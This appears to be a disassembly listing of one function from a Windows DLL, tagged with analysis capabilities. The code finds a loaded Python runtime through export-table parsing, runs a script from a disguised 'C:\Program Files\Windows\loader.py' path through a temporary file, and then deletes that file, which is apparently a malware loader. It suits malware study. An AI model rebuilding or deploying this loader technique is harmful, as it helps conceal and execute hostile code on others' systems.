Function at 0x10001180
Capabilities:
Delete file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x10004004]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
je 0x100011ae
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100013db
mov esp, ebp
pop ebp
ret 0xc
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edi
push str.python22.dll
call esi
mov edi, eax
test edi, edi
jne 0x1000120b
push str.python24.dll
call esi
mov edi, eax
test edi, edi
jne 0x1000120b
push 0x100030f4
call esi
mov edi, eax
test edi, edi
jne 0x1000120b
mov ecx, 0x10003148
call fcn.10001080
mov ecx, 0x10003200
mov dword [0x10004388], eax
call fcn.10001080
mov ecx, 0x10003280
mov dword [0x10004384], eax
call fcn.10001080
jmp 0x100012af
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x10003104
push edi
call esi
push 0x10003118
push edi
mov dword [0x10004388], eax
call esi
push 0x10003128
push edi
mov dword [0x10004384], eax
call esi
mov dword [0x10004380], eax
test eax, eax
jne 0x100012b4
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x100012b4
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x78]
test ebx, ebx
je 0x100012b4
mov eax, dword [ebx + edi + 0x20]
xor esi, esi
mov ecx, dword [ebx + edi + 0x24]
add eax, edi
add ecx, edi
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x110], ecx
cmp dword [ebx + edi + 0x18], esi
jbe 0x100012b4
mov eax, dword [eax + esi*4]
add eax, edi
push str._SimpleFile
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
jne 0x10001299
mov eax, dword [ebp - 0x10c]
inc esi
cmp esi, dword [ebx + edi + 0x18]
jb 0x10001272
jmp 0x100012b4
mov eax, dword [ebp - 0x110]
movzx ecx, word [eax + esi*2]
mov eax, dword [ebx + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
mov dword [0x10004380], eax
cmp dword [0x10004388], 0
je 0x100013c6
cmp dword [0x10004384], 0
je 0x100013c6
cmp dword [0x10004380], 0
je 0x100013c6
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_tmpnam]
lea eax, [ebp - 0x108]
push 0x10003344
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 0xc
test esi, esi
je 0x100013c6
push 0x10003348
push esi
call fcn.10001010
push str._tfile__open_C:__Program_Files__Windows__loader.py__r__n
push esi
call fcn.10001010
push str._tmodule_code__file.read___n
push esi
call fcn.10001010
push 0x100033b0
push esi
call fcn.10001010
push str._tfile.close___n
push esi
call fcn.10001010
push 0x100033d8
push esi
call fcn.10001010
push 0x100033fc
push esi
call fcn.10001010
push 0x10003414
push esi
call fcn.10001010
add esp, 0x40
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
lea eax, [ebp - 0x108]
push 0x1000341c
push eax
call dword [0x10004388]
add esp, 0xc
test eax, eax
je 0x100013af
push eax
call dword [0x10004384]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x100013af
push 0x10003420
push ebx
call dword [0x10004380]
add esp, 8
test edi, edi
je 0x100013af
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100013db
mov esp, ebp
pop ebp
ret 0xc